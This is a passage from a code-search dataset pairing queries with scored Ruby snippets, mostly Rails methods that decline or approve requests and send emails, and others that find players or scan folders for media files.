request for send money to #{self.sent_on_email} for amount: \"\n\t\t\tsender_msg += \"#{self.amount}#{self.account.currency} on Date: #{self.created_at} \"\n\t\t\tsender_msg += \" was declined by admin.\"\n\t\t\tSrNotofication.create(\n\t member_id: self.sender.id,\n\t msg: sender_msg,\n\t link_page: \"accept_decline\",\n\t status: false)\n\n\t\telsif self.request_type == \"request_meney\"\n\t\t\ts_account = receiver_account\n\t\t\tr_account = sender_account\t\n\t\t\tunlock_funds s_account, self.amount\n\n\t\t\tsender_msg = \"Your request for money transfer to #{self.sender.email} for amount: \"\n\t\t\tsender_msg += \"#{self.amount}#{self.account.currency} on Date: #{self.created_at} \"\n\t\t\tsender_msg += \" was declined by admin.\"\n\n\t\t\tSrNotofication.create(\n\t member_id: self.receiver.id,\n\t msg: sender_msg,\n\t status: false)\n\n\t\t\tsender_msg = \"Your money request to #{self.receiver.email} for amount: \"\n\t\t\tsender_msg += \"#{self.amount}#{self.account.currency} on Date: #{self.created_at} \"\n\t\t\tsender_msg += \" was declined by admin.\"\n\n\t\t\tSrNotofication.create(\n\t member_id: self.sender.id,\n\t msg: sender_msg,\n\t link_page: \"accept_decline\",\n\t status: false)\n\n\t\telsif self.request_type == \"escrow_money\"\t\n\n\t\t\ts_account = sender_account\n\t\t\tr_account = receiver_account\n\t\t\tunless s_account.nil?\n\t\t\t\tunlock_funds s_account, self.amount\n\t\t\tend\n\t\t\tsender_msg = \"Your request for escrow money to #{self.sent_on_email} for amount: \"\n\t\t\tsender_msg += \"#{self.amount}#{self.account.currency} on Date: #{self.created_at} \"\n\t\t\tsender_msg += \" was declined by admin.\"\n\t\t\tSrNotofication.create(\n\t member_id: self.sender.id,\n\t msg: sender_msg,\n\t link_page: \"escrow\",\n\t status: false)\n\t\tend\n\t\t\n\tend", "title": "" }, { "docid": "a5fa46b011fc17aeaf723af7624c35a2", "score": "0.6282683", "text": "def decline\n # Find the user\n return render :status => 150, :json => {:message => \"User not found.\"} if params[:user_id].nil? || params[:user_id].empty?\n user = User.find(params[:user_id].to_i)\n return render :status => 150, :json => {:message => \"User {#{id}} not found.\"} if user.nil?\n\n # Find this friendship request (must be neither declined nor an accepted request)\n friendship = user.friendships.where(\"friendships.friend_id = #{current_user.id} and friendships.status is null\").first\n return render :status => 154, :json => {:message => \"Friendship request not found.\"} if friendship.nil?\n\n # Decline friendship\n friendship.status = false\n friendship.responded_at = DateTime.now\n friendship.save\n\n # TODO: Notify user_id of friendship denial\n\n # Notify Pusher rendezvous channel of friendship acceptance\n Pusher[\"presence-rendezvous-channel\"].trigger('friendship_denied', {\n :initiatorID => user.id,\n :friendID => current_user.id\n })\n\n # Log analytics event\n @mixpanel.track(\"Friendship Declined\",\n :distinct_id => current_user.username,\n :user_id => current_user.id,\n :friend_username => user.username,\n :friend_id => user.id)\n\n render :status => 200, :json => {:message => \"Friendship declined\"}\n end", "title": "" }, { "docid": "7081911487921ea5642534db7f3fbf85", "score": "0.6278654", "text": "def accept_invitation\n @attending = true\n end", "title": "" }, { "docid": "994cf5d4d2c4205c0ecbc8106b2b1cab", "score": "0.6277668", "text": "def contract_rejected(contract)\n @contract = contract\n @support_mail = APP_CONFIG[\"support_mail\"]\n mail(to: contract.murderer.email, subject: APP_CONFIG[\"subject_prefix\"]+contract.game.title+\" - Mord abgelehnt!\") \n end", "title": "" }, { "docid": "0c13812bdab6417df439d0bf020b5d3b", "score": "0.62767893", "text": "def resend_email\n @invitee.send_approval_email\n rescue => e\n flash['error'] = \"#{e}\"\n redirect_back fallback_location: invitees_path\n else\n toast!(title: \"Email re-sent\",\n message: \"An email has been sent to #{@invitee.email}.\")\n redirect_to invitees_path\n end", "title": "" }, { "docid": "9dee11803984501f4ab73bcc48eae140", "score": "0.627355", "text": "def approve\n ArchRequestMailer.approve\n end", "title": "" }, { "docid": "2c816e15b1c8e435e1e44953439c983e", "score": "0.6273393", "text": "def decline\n @team = Team.find(params[:id])\n if current_user.admin? && @team.status == \"pending\" #allow only admin to do this and if the team is pending\n @team.update_attributes(:status => \"declined\")\n redirect_to \"/teams\"\n else\n redirect_to \"/home\"\n flash[:warning] = \"That action cannot be done.\"\n end\n end", "title": "" }, { "docid": "7153a677e1adc6fc779d8a1717b18c4f", "score": "0.62731165", "text": "def decline_invite\n user = getCurrentUser\n group = Group.find(params[:id])\n invite = Invite.where('user_id' => user.id).where('group_id' => group.id).take!\n puts invite\n # change the response flag in database to be true\n invite.response = true\n invite.save\n redirect_to(:controller => 'groups', :action => 'invites', :id => session[:user_id])\n end", "title": "" }, { "docid": "c715de0d2556a0f0d83fd8bc721bdc8d", "score": "0.6266369", "text": "def send_decline_email(creator, match)\n @user = creator\n @match = match\n MatchMailer.declineEmail(@user, @match).deliver_now\n end", "title": "" }, { "docid": "2556e37572c1468fe5805035f13369fc", "score": "0.6261421", "text": "def new_user_waiting_for_approval(member)\n @member = member\n mail(:subject => \"#{member.name} - Approval Needed\")\n end", "title": "" }, { "docid": "fbccbfe4b31309485c02d391d9e655ae", "score": "0.6245922", "text": "def approved_email(leave)\n @leave = leave\n mail(to: @leave.employee.email, subject: 'Your Leave has been Approved.')\n end", "title": "" }, { "docid": "593114003037ae9e3eaded2b105b5aad", "score": "0.62440085", "text": "def ticket_rejected\n @task = params[:task]\n @user = User.find_by_id(@task.created_by_id)\n @rejected_by = params[:rejected_by]\n @feedback = params[:feedback]\n @url = task_url(@task)\n mail(to: @user.email, subject: \"Your Ticket ##{@task.id} has Been Rejected\")\n end", "title": "" }, { "docid": "1c199f517f76e25ac278d3e0d5aab396", "score": "0.62426955", "text": "def approval_update\n UserMailer.approval_update(approver)\n end", "title": "" }, { "docid": "6c493981700530c1e82817270201d869", "score": "0.6239416", "text": "def new_user_waiting_for_approval agency\n @agency = agency\n\n mail\n end", "title": "" }, { "docid": "acf23675b5300ef07d8f181375f69ce9", "score": "0.6238701", "text": "def mail_rejected_by_influencer\n if self.campaign.dialog_campaign\n Notifier.tweet_rejected_by_influencer_in_dialog(self).deliver\n else\n Notifier.tweet_rejected_by_influencer(self).deliver\n end\n end", "title": "" }, { "docid": "26e5567e5b2de6a50f51ac61fb04b973", "score": "0.6236583", "text": "def reject_invitation\n previa_group = PreviaGroup.find(params[:invitation_id])\n RejectGroupInvitation.call(@user, previa_group)\n\n respond_to do |format|\n format.html { redirect_to @user, notice: 'La invitación fue rechazada con éxito.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "38e07754849fc7bb378a3fece0b1c63e", "score": "0.6236496", "text": "def cancel_approval approvalId\n @approval = Approval.find_by_id(approvalId)\n if @approval\n # Email all of the approvers\n @approval.approval_approvers do |approver|\n send_email(approver.user.email, \"Approval Cancelled\", \"<p>Hello #{user.username}!</p><p>A recent approval that was created for you was cancelled and removed. This is likely because there was an error creating the final request.</p>\")\n end\n\n # Get rid of it\n @approval.destroy\n end\n end", "title": "" }, { "docid": "21ec4f09c4dbc656ebd392534329c5b2", "score": "0.6233021", "text": "def reject_request_email(request, user_email, volunteer_email)\n @volunteer_email = volunteer_email\n @user_email = user_email\n @request = request\n mail(:to => user_email, :subject => \"Your friend #{volunteer_email} can no longer baby sit for you\")\n end", "title": "" }, { "docid": "edffb002823875f134af31e03ce569cb", "score": "0.62323064", "text": "def reject_proposal\n if !params.has_key?(:t) then\n Rails.logger.error \"No token to view reservation\"\n render file: \"public/401.html\", status: :unauthorized\n return\n end\n\n #ensure that the current status is operator offering new proposal\n if !@reservation.operator_new_proposal? then\n Rails.logger.error \"No token to view reservation\"\n render file: \"public/401.html\", status: :unauthorized\n return\n end\n\n #update the status and send out notice about this\n @reservation = UserReservation.find(params[:reservation_id])\n @reservation.transaction do\n @reservation.canceled_by_user!\n ur_case_history = @reservation.ur_turk_case.ur_turk_case_history.new({\n action:UrTurkCaseHistory.actions[:user_reject_proposal],\n action_by: current_user.id\n })\n ur_case_history.save!\n end\n\n #refund the reservation\n\n #send email about it\n UserReservationMailer.user_reject_proposal(@reservation).deliver_later\n end", "title": "" }, { "docid": "ac9c49fb78446c6334548e65999cb7b7", "score": "0.6230207", "text": "def declined\n \tuser = FacebookAccount.find_by_fb_id( current_user.identifier ).user\n event = FbGraph::Event.fetch(params[:id])\n result = event.declined!(:access_token => user.access_token)\n\n render :json => result.to_json\t\n end", "title": "" }, { "docid": "d425afa761c4c752db75844bfb02ef73", "score": "0.62211", "text": "def decline_invite(match_id)\n MatchInvite.where(match_id: match_id).update_all(accept: false)\n Match.find_by(id: match_id).update!(status: \"cancelled\")\n end", "title": "" }, { "docid": "a77b8a9bfef1d68741d4442bf94c39c0", "score": "0.6216626", "text": "def reject_booking(booking)\n @greeting = \"Hi, the booking has been rejected\"\n @booking = booking\n mail to: booking.user.email, subject: \"Booking status\"\n end", "title": "" }, { "docid": "dd6afbbaf307d625a6f50c2e1bbd7986", "score": "0.6213637", "text": "def accepting_invitation?; end", "title": "" }, { "docid": "fd4cbe420c147eac842654a4092d00bc", "score": "0.6213416", "text": "def disapprove\n company = Company.find( params[:company_id])\n #user = company.users.find( params[:user_id])\n #timeoff = user.time_offs.find( params[:id])\n timeoff = TimeOff.find( params[:id])\n if timeoff.state != 2\n user_t = User.find( timeoff.user_id)\n user_t.time_off_days += timeoff.total_credits\n user_t.save!(:validate => false)\n end\n timeoff.update_attribute :state, 2\n timeoff.update_attribute :color, '#330000'\n UserMailer.send_email_time_off_result(timeoff.user, current_user(company.slug), \"Dennied\", timeoff.start_at, timeoff.end_at).deliver\n redirect_to manage_company_user_time_offs_path( company, User.find( params[:user_id]))\n #redirect_to root_path\n end", "title": "" }, { "docid": "65bf6a447b4119b706deaf004ae419d4", "score": "0.621313", "text": "def accept_invitation; end", "title": "" }, { "docid": "f3653a03cf66a72091aa61cb913983f0", "score": "0.6201463", "text": "def unapprove\n return unless current_user.user_role.can_approve_unapprove\n\n timeslot = Timeslot.find(params[:id])\n timeslot.is_approved = false\n user = timeslot.user\n\n case timeslot.role\n when 'Front Desk'\n user.front_office_hours -= timeslot.duration\n when 'Runner'\n user.pantry_runner_hours -= timeslot.duration\n when 'Volunteer'\n user.volunteer_hours -= timeslot.duration\n end\n user.total_unapproved_hours += timeslot.duration\n user.total_approved_hours -= timeslot.duration\n\n user.save\n timeslot.save\n flash[:notice] = \"You have unapproved the timeslot at #{timeslot.time.strftime('%l:%M %P')}\n for the role #{timeslot.role} #{timeslot.role_number} for the user #{timeslot.user.full_name}\"\n redirect_to(event_path(timeslot.event))\n end", "title": "" }, { "docid": "b93d6ab630107ef64b374f6598e99edc", "score": "0.6195292", "text": "def notify_of_expired_time(user, decision)\n @user = user\n @decision = decision\n mail(to: @user.email, subject: \"LET'S - You Missed Your Turn!\")\n end", "title": "" }, { "docid": "2f8f1091150632848297d8b6575463e8", "score": "0.6189536", "text": "def trigger_host_no_activity_reject(inform = false)\n if inform\n self.mailbox.messages.create(:user_id => self.bookee.id, :message_text => \"This Host has not replied within 24 hours so your enquiry to them has been closed.\\nIf you have had no responses within 24 hours, please send more Enquiries to Hosts or contact us at info@pethomestay.com.\")\n #UserMailer.automatically_declined(self).deliver\n end\n self.update_column(:state, \"rejected\")\n end", "title": "" }, { "docid": "7416e82a3e332a33f4f40ad2bd2ea471", "score": "0.6187269", "text": "def send_approval_email\n # person.send_email(:proposal_approved, proposal: self)\n end", "title": "" }, { "docid": "7f2b81c38f3b641687ced94aa70c332c", "score": "0.6186248", "text": "def reject_email(holiday)\n @holiday = Holiday.find(holiday)\n @user=holiday.user\n mail(to: @user.email, :bcc => HR_EMAILS, subject: \"Leave Rejected !\")\n end", "title": "" }, { "docid": "28f72d20f4dac9be8de21d42c5d836e7", "score": "0.6180752", "text": "def request_rejected\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "title": "" }, { "docid": "844dc32e8322ef1cb444b7f416735785", "score": "0.61800194", "text": "def decline\n\t @trip_invitation.decline\n\t redirect_to trip_invitations_path\n end", "title": "" }, { "docid": "2fd0a972c199e9af21c25befa8d7b331", "score": "0.61788625", "text": "def before_approve(approval); end", "title": "" }, { "docid": "0144f9651603a879c72f9b667208d50b", "score": "0.6178582", "text": "def accept_invitation\n end", "title": "" }, { "docid": "d98411fa31113ebd0cd624e420a6484e", "score": "0.61653155", "text": "def contractDeclined(contract, user, declinedBy)\n @contract = contract\n @user = user\n @declinedBy = declinedBy\n\n mail to: @user.email, subject: \"Contract##{@contract.id} Declined -- OSU Book Exchange\"\n end", "title": "" }, { "docid": "562b11441f05e888600ac5443133a0a9", "score": "0.6153121", "text": "def request_rejected\n BorrowNotifier.request_rejected\n end", "title": "" }, { "docid": "434059c71295ee2ccab7813c96de52cd", "score": "0.6147466", "text": "def deliver_required_approval_notice\n users.unfulfilled.each do |user|\n approval = Approval.new\n approval.user = user\n approval.approvable = self\n ApprovalMailer.fund_request_notice(approval).deliver\n end\n end", "title": "" }, { "docid": "37878bc4090dbd6baff22264d9e38e07", "score": "0.61402494", "text": "def send_rejection_email_to_team\n team_members.each { |person| person.delay.send_email(:proposal_rejected_to_team, proposal: self) }\n end", "title": "" } ]
caf0ca4adca7a5bc0a480c20a8e9a808
findPlayerInFiles('Colaprico') findPlayerInFiles('Colaprico') findPlayerInFiles('Colaprico') findPlayerInFiles('Colaprico') findPlayerInFiles('Colaprico') findPlayerInFiles('Colaprico') findPlayerInFiles('Colaprico') findPlayerInFiles('Colaprico') findPlayerInFiles('Colaprico')
[ { "docid": "af1576eef544b816a3310a002f837f6e", "score": "0.6359542", "text": "def getFiles(player)\n # Gets List of CSV to seed database with\n files = Array.new\n csv_list = Dir.glob(\"csv/*\")\n csv_list.each do |csv_filename|\n csv_text = File.read(csv_filename)\n csv = CSV.parse(csv_text, :headers => true, :encoding => 'ISO-8859-1')\n csv.each do |row|\n csv_player = row.to_hash['Player']\n if csv_player && csv_player.downcase == player.downcase\n files.push(csv_filename)\n break\n end\n end\n end\n # puts files\nend", "title": "" } ]
[ { "docid": "7ee2441eadf233cf7d9096dc1ef7a91d", "score": "0.62861913", "text": "def test_find_player_in_players()\n team = SportsTeam.new(\"Belgium\", [\"Player 1\", \"Player 2\", \"Player 3\"], \"Mr Belgium\")\n assert_equal(\"Player 2\", team.find_player_in_players(\"Player 2\"))\n end", "title": "" }, { "docid": "04f9b03a9c64d0879bad30c73f9b3f71", "score": "0.62449867", "text": "def find_player(name)\n all_players.find {|player| name == player.fetch(:player_name)}\nend", "title": "" }, { "docid": "031c51b0b0c7b77d0bf756c620b852e7", "score": "0.62257034", "text": "def find_player(name)\n for footballer in @players\n return footballer if @players.include?(name)\n end\n end", "title": "" }, { "docid": "d5f779f6a90e267fbcbb0a6c5a12ada7", "score": "0.6100344", "text": "def matching_player(player_name)\n all_players.find do |player|\n player[:player_name] == player_name\n end\nend", "title": "" }, { "docid": "1422333c1f2155e56a73d77e1d61055d", "score": "0.6074354", "text": "def player_stats(player_name_arg)\n get_me_all_players_please().find do |player_hash|\n player_hash[:player_name] == player_name_arg\n #binding.pry\n end\nend", "title": "" }, { "docid": "ef2bbce96206f09e0528383c5be73b8d", "score": "0.60038936", "text": "def find_player(players, name)\n # 1. write out what I want to do here\n # 2. write out the ideal code for this\n\n # 1. look at each player\n # 2. pick the one whose name matches\n\n # Very straightforward, so again, we should do the work here.\n # Now if we're looping through all the players to find the right one,\n # we could start in the same way that we started trying to do get_all_players.\n # And we'll end up with something like this:\n the_player = {}\n players.each do |player|\n if player[:player_name] == name\n the_player = player\n end\n end\n the_player\n\n # But, as we know. This probably isn't ideal. So let's look for a method\n # that better does what we want. Back to the docs:\n # https://ruby-doc.org/core-2.2.0/Array.html\n # ...\n # Back? What did you find?\n # There are two that look interesting: .select and .find\n # They both read like they do what we want, but there must be a difference.\n the_player = players.select do |player|\n # .select wants you to return a true or false value\n # anything true will count as a match that will be returned.\n # So all we need is the conditional part of our if statement:\n player[:player_name] == name\n end\n\n\n # Check the result, and it looks almost good.\n # the_player == [{ player }]\n # An array with a single player.\n # We could return the matching player like this:\n the_player[0]\n # However, that's not ideal. If we read .select more closely, we realize that\n # it returns *all* matches. So if more than one thing matches our conditional,\n # then this array will be more than a single thing.\n\n # Let's try .find:\n the_player = players.find do |player|\n # It expects the same thing so the same conditional here:\n player[:player_name] == name\n end\n # binding.pry\n # Check the result, and it looks perfect!\n # the_player == { player }\n # So what is the difference?\n # .find will return the very *first* match.\n # .select will return all matches; hence the array as a result.\n # When you need to just find a single thing, use .find.\n # When you want to select all the matches, use .select.\n the_player\nend", "title": "" }, { "docid": "178d02d5170f63e317d83d7a643cebc1", "score": "0.5950134", "text": "def get_players\n\n end", "title": "" }, { "docid": "4a36048a722dc06ac65956ff509dd755", "score": "0.59320986", "text": "def player(player_name)\n players.find{|player| player.name == player_name}\n end", "title": "" }, { "docid": "592dc34ced49af7c2dd5a54f9a82062f", "score": "0.5917669", "text": "def find_player(players, name)\n players.find do |player|\n player[:player_name] == name\n end\nend", "title": "" }, { "docid": "0a0989a823a56ff925e9491ee7760136", "score": "0.58544004", "text": "def found_player(player_name)\n binding.pry\n # Array of player Hashes\n all_players.find do |player| # player Hash\n # String # String\n player[:player_name] == player_name # Boolean\n end\nend", "title": "" }, { "docid": "0a0989a823a56ff925e9491ee7760136", "score": "0.58544004", "text": "def found_player(player_name)\n binding.pry\n # Array of player Hashes\n all_players.find do |player| # player Hash\n # String # String\n player[:player_name] == player_name # Boolean\n end\nend", "title": "" }, { "docid": "ff81e972d8f461981d1f4f80443de948", "score": "0.58307487", "text": "def show_favorite_players(fan) #this method is backend finding the players of a specifc fan\n players_array = favorite_players(fan)\n players_array.each do |player|\n puts player.name \n end\nend", "title": "" }, { "docid": "b73884ec7c7a5a58eff38881067eaee5", "score": "0.58026177", "text": "def find(dirs); end", "title": "" }, { "docid": "0fd814cc034feae38d5b06579f61a697", "score": "0.57950604", "text": "def find_files(recusive,sort)\n ext_list = $config[\"series\"][\"media_extentions\"].gsub(/,/,\"|\")\n files = [] \n if File.directory? sort\n Find.find(sort) do |path|\n next if File.dirname(path) != sort and not recusive\n next if File.directory? path\n next if File.basename(path) =~ /^\\./\n next if path !~ /#{ext_list}$/\n files << path\n end\n else\n log(\"error: source directory of \\\"#{sort}\\\" does not exist!\")\n exit 2\n end\n files\nend", "title": "" }, { "docid": "3fa876b360d80f990eb2efecfef0a4b4", "score": "0.57678396", "text": "def select_players_for_slytherin(full_list_of_players, already_used_players)\nend", "title": "" }, { "docid": "ca2b481ad311629716248b76e44cb8d6", "score": "0.57604647", "text": "def findFlacFiles()\nflacdirs = Array.new\nDir.foreach(\".\") { |file| \\\n if(File.directory?(file))\n Dir.foreach(file) { |subfile| \\\n if(!subfile[-5..-1].nil?)\n if(subfile[-5..-1] == \".flac\")\n flacdirs << file + \"/\"\n break\n end\n end\n }\n end\n }\n return flacdirs;\nend", "title": "" }, { "docid": "179ea87522df4a2bf1dd091870b69cae", "score": "0.5749425", "text": "def files\n filename = Dir.entries(@path).find_all {|file| file.include?(\".mp3\")}\n # binding.pry\n # [[\"Thundercat - For Love I Come - dance.mp3\",\n # \"Real Estate - It's Real - hip-hop.mp3\",\n # \"Action Bronson - Larry Csonka - indie.mp3\",\n # \"Real Estate - Green Aisles - country.mp3\"]]\n\n #binding.pry\n end", "title": "" }, { "docid": "45a9eede58b5f44c9375c9159ffbf236", "score": "0.5743556", "text": "def candidates\n players = []\n players += Player.where(:position => \"QB\").first(20)\n players += Player.where(:position => \"RB\").first(20)\n players += Player.where(:position => \"WR\").first(20)\n players\n end", "title": "" }, { "docid": "52b78cb5a79bae4e89a6d8c04fe9e83d", "score": "0.57255805", "text": "def players\n @players.select(&:playing)\n end", "title": "" }, { "docid": "f50ce580c6d64f392291ce8bf73667ae", "score": "0.5717864", "text": "def GetEnemyPrototypes()\n\n folder_contents = Dir.entries($enemy_prototypes_folder)\n\n for i in 0...folder_contents.length do\n\n if not folder_contents[i] == \".\" and not folder_contents[i] == \"..\" then\n $enemy_prototypes << $enemy_prototypes_folder + '/' + folder_contents[i]\n end\n\n end\n\n\nend", "title": "" }, { "docid": "029bab7a3e6a5456f85ccb92758dd42e", "score": "0.57092255", "text": "def search_players(player_name)\n # for player in @players\n # if player == player_name\n # return true\n # else\n # return false\n # end\n # end\n # better way to write - had implicit true/false result\n return @players.include?(player)\n end", "title": "" }, { "docid": "3867f939ca14dec0a195bcc428c58e94", "score": "0.57084805", "text": "def get_player_by_name n\n @players.each{|p| return p if p.try(:name).try(:downcase) == n.try(:downcase) }\n end", "title": "" }, { "docid": "aa56cf012120b189b7cb78c58b5faeec", "score": "0.57016695", "text": "def filter(player)\n \tfilters = players.select{|player| player.position == position}\n \tif(filters.count>0) \n \t\treturn true\n \telse\n \t\treturn false;\n end\n\n def create_player(name,position)\n \tif (filter(Player.new(name,position)) == false)\n \t\tPlayer.new(name,position)\n \tend\n end\n\nend", "title": "" }, { "docid": "0bcf50f126e8de1068a167e268529672", "score": "0.5673061", "text": "def player_by_name name\n @players.select {|p| p.name == name}.first\n end", "title": "" }, { "docid": "c3b38020ce6493919f882a50c1a2aac6", "score": "0.5648729", "text": "def select_players_for_gryffindor(full_list_of_players, already_used_players)\nend", "title": "" }, { "docid": "5c3660ce31cfa2a4d6fd6b6488477746", "score": "0.5637406", "text": "def player_stats(name)\n all_players.find do |player|\n player[:player_name] == name\n end\nend", "title": "" }, { "docid": "92a9863d7131ee5ea9547c7c328ba77e", "score": "0.56131214", "text": "def find_player(player)\n found = false\n for name in @players\n if player == name\n found = true\n end\n end\n return found\n end", "title": "" }, { "docid": "ed5acc4ed32c6901483fbca7ff6029cf", "score": "0.5605284", "text": "def find_winner()\n\t\tingame_players = 0\n\t\tlast_cards = []\n\n\t\t#puts \"In find winner method\"\n\t\tputs to_s\n\n\t\t@players.each do |player|\n\t\t\n\n\t\t\tif !player.is_fold\n\t\t\t\tlast_cards << player.get_cards\n\t\t\t\t\n\t\t\tend\n\n\t\tend\n\t\t@players.each do |player|\n\t\t\t\n\n\t\t\tif !player.is_fold\n\t\t\t\t\n\t\t\t\tputs\n\t\t\t\tplayer.increase_game\n\t\t\t\t#i = last_cards.index(player.get_cards)\n\t\t\t\t#last_cards.insert(0, last_cards.delete_at(i)) \n\t\t\t\tcards_of_players = \"#{last_cards.join(\"\")}\"\n\t\t\t\t#puts \"Order of cards: \" + cards_in_order\n\t\t\t\t#puts \"get cards: \" + get_cards\n\t\t\t\twinner = @pokeroddsproxy.get_winnercards(cards_of_players, get_cards)\n\t\t\t\t#odds = @pokeroddsproxy.get_odds(cards_in_order, get_cards, ingame_players)\n\t\t\t\t#puts odds\n\n\t\t\t\tif winner == player.get_cards #If winner's cards are same with the player\n\t\t\t\t\tputs \"#{player.get_name} is the winner\"\n\t\t\t\t\tplayer.addmoney(@pot)\n\t\t\t\t\tplayer.increase_win\n\t\t\t\telse\n\t\t\t\t\tputs \"#{player.get_name} is the loser\"\n\t\t\t\t\tplayer.increase_lose\n\t\t\t\tend\n\n\t\t\tend\n\n\t\tend\n\n\tend", "title": "" }, { "docid": "39342060cfa5cdb7d9cf04c4f79cd11f", "score": "0.55992", "text": "def favorite_players(fan)\n Fan.find_by(name: fan).players\nend", "title": "" }, { "docid": "47f09e94fcf67490f4ca4600c763b401", "score": "0.5583928", "text": "def search_players(search_names)\n @player_names.include?(each_player)\n end", "title": "" }, { "docid": "359490c662d867a01da85ce6ea34c9a4", "score": "0.55730945", "text": "def get_sorted_players(id)\n # first makes a hash map, sorts said hash map by seed, then prints in order of that hash.\n player_hash = Hash.new()\n Dir.glob(\"#{get_tourney_dir(id)}/*.record\") do |filename|\n File.open(\"#{filename}\", \"r\") do |f|\n fields = f.read.split(\": \")\n player_hash[fields[1].sub(/\\n.*$/,\"\").capitalize] = fields[3].sub(/\\D+$/,\"\").to_i\n end\n end\n # now sort the hash then flatten the array\n sorted_arr = player_hash.sort_by{|k,v| -v}.flatten\n # lastly remove the values from the list, leaving only keys (names)\n sorted_names = Array.new()\n sorted_arr.each do |playername|\n sorted_names << playername if sorted_arr.find_index(playername) % 2 == 0\n end\n return sorted_names\nend", "title": "" }, { "docid": "1c9f14b61394a67e9994fbee567a15dc", "score": "0.55450714", "text": "def find(args, mode); end", "title": "" }, { "docid": "63bf4db5550d5b3e1a76132791e67070", "score": "0.5541538", "text": "def find_in(dir); end", "title": "" }, { "docid": "34dec2735a2e7262cafba6ee35824d1d", "score": "0.55343854", "text": "def test_find_player_found\n new_team = Team.new(\"Kerbals\", [\"Jeb\", \"Bob\", \"Bill\", \"Val\"], \"Gene\")\n search = new_team.find_player(\"Bob\")\n assert_equal(true, search)\n end", "title": "" }, { "docid": "56a12624825fb1e5a003b12157f50bd3", "score": "0.5518062", "text": "def find_song_by_name(user_input, songs)\n songs.each { |song| return true if user_input == song }\n\n false\nend", "title": "" }, { "docid": "3d2e5a2ade30c497743dd3419498cede", "score": "0.5497217", "text": "def files\n @files ||= Dir.glob(\"#{path}/*.mp3\").collect{|file|\n#normalize the filename to just the MP3 filename with no path\n file.gsub(\"#{path}/\", \"\")}\n end", "title": "" }, { "docid": "04a8996b3228a9d124e26859b0c5b40b", "score": "0.5472628", "text": "def num_points_scored(name)\n players = get_all_players # Works!\n player = find_player(players, name) # Up next...\n player[:points]\n \nend", "title": "" }, { "docid": "9865e1a5b2607e2ca7e751caa387b633", "score": "0.545095", "text": "def get_source_movs(path)\n files = []\n Find.find(path) do |filename|\n if !FileTest.directory?(filename)\n if filename =~ MOV_PATTERN\n files << Pathname.new(filename)\n end\n end\n end\n\n files.sort\nend", "title": "" }, { "docid": "c22f269050837777afdfd050221c5aff", "score": "0.5442242", "text": "def next_player!\n end", "title": "" }, { "docid": "a45d45c7690f4f4b0a727502f10b08f9", "score": "0.5439759", "text": "def find_files_not(sort)\n files = []\n Find.find(sort) do |path|\n next if File.directory? path\n next if File.basename(path) =~ /^\\./\n next if (tv_file File.basename(path))\n files << path\n end\n files\nend", "title": "" }, { "docid": "716a9c4cf916beb0fc3ba38e7ba41305", "score": "0.54330736", "text": "def players\n go_fish.players\n end", "title": "" }, { "docid": "2a507a7cc8bccc1ff7f748d1a2730abf", "score": "0.5427985", "text": "def build_list_of_players\nend", "title": "" }, { "docid": "62057304fbc2009a66cb3be6b5703910", "score": "0.54265887", "text": "def find; end", "title": "" }, { "docid": "a93541520a2e1b8d65f867c7943cf796", "score": "0.54204166", "text": "def find_people_around_football_pitch_around_jindigeling\n find_shops\nend", "title": "" }, { "docid": "37a1320295ae00867a7a5d0e072be26e", "score": "0.54145384", "text": "def wargames(player_1 = Players::Computer.new(\"X\"), player_2 = Players::Computer.new(\"O\"),board = Board.new)\n game = Game.new(player_1, player_2, board)\n game.play\n end", "title": "" }, { "docid": "e34cdf4e3a58a7f20e072325bc6dc864", "score": "0.5401242", "text": "def scan(dir,match=/\\.cha$/)\n files = []\n if not dir.split('/').pop =~ /^\\./ and File.directory?(dir)\n Dir.foreach(dir) do |file|\n path = File.join(dir,file)\n \n if File.directory?(path)\n# puts \"SCANNING #{path}\"\n scan(path,match).each { |pair| files.push pair }\n elsif file =~ match\n files.push path\n end\n end\n end\n\n return files\nend", "title": "" }, { "docid": "0f9253bfccce683cde3ba1bdea6c0e50", "score": "0.5399164", "text": "def find_player_with_user_id(user_id)\n go_fish.find_player_with_user_id(user_id)\n end", "title": "" }, { "docid": "d099562e2a8d9e59fef3bf247210fab3", "score": "0.5375189", "text": "def files # loads all the mp3 files in the path directory / normalizes the filename to just the mp3 filename with no path\n @files ||= Dir.glob(\"#{path}/*.mp3\").collect{ |f| f.gsub(\"#{path}/\", \"\") } # then using the .collect method and gsub to just return the filename with out path\n end", "title": "" }, { "docid": "2fff79250e5c0633a54b1044656dd755", "score": "0.5374839", "text": "def winner\n players.sort.last\n end", "title": "" }, { "docid": "0497926891c6d82f340412f2b02a9d7c", "score": "0.5365451", "text": "def searchFile(articule, get_dir, out_dir)\n return_arr = []\n get_dir.each do |filename|\n if (articule == File.basename(filename).chomp.slice(/^\\w+/))\n FileUtils.cp(filename, out_dir + File.basename(filename))\n puts \"#{articule} is finded #{File.basename(filename)}\"\n return_arr[0] = true\n return_arr[1] = File.basename(filename)\n else\n return_arr[0] = false\n return_arr[1] = \"Sorry but image for art. #{articule} isn't finding\"\n end\n end\n return return_arr\nend", "title": "" }, { "docid": "b34400214044c26ddd719319c7a1a9ef", "score": "0.53649235", "text": "def winner\n #Will only return one winner, to pass rspec test\n if finished?\n for i in 0..@player_positions.length-1\n if(@player_positions[i]>=@length)\n return players[i]\n end\n end\n end\n return nil\n end", "title": "" }, { "docid": "dd730e838973130ff4453eb48260810f", "score": "0.53642225", "text": "def add_plyer_from_array(loaded_file_in_array)\r\n\t\tloaded_file_in_array.each do |name, health|\r\n\t\t\tif health != /^\\d+$/ { health.to_i! }\r\n\t\t\tplayer = Player.new(name,health)\r\n\t\t\tadd_player(player)\r\n\t\tend\r\n\tend\r\n\r\n\tdef load_files_lines_to_array(loaded_file)\r\n\t\tFile.readlines(loaded_file).each do |line|\r\n\t\t\tname, health = line.split(',')\r\n\t\tend\r\n\tend\r\n\r\n#in studio_play.rb change to:\r\nknuckleheads.add_plyer_from_array(load_files_lines_to_array((ARGV.shift || \"players.csv\")))\r\n\r\n# 1. mi a különbség mixin és modle közt?\r\n# 2, hogy állapitod meg hogy hol lett include olva egy egy mixin vagy module\r\n# 3. milyen hibát dob ha csak reader és nem accessor\r\n# 4.\r\n# 5. hogyan teszteled azt hogy valami include olva e van és kacsa e?", "title": "" }, { "docid": "354792377b2f35d76983d94a06229fb7", "score": "0.5362243", "text": "def all_matching_files\n @all_matching_files ||= find_files\n end", "title": "" }, { "docid": "354792377b2f35d76983d94a06229fb7", "score": "0.5362243", "text": 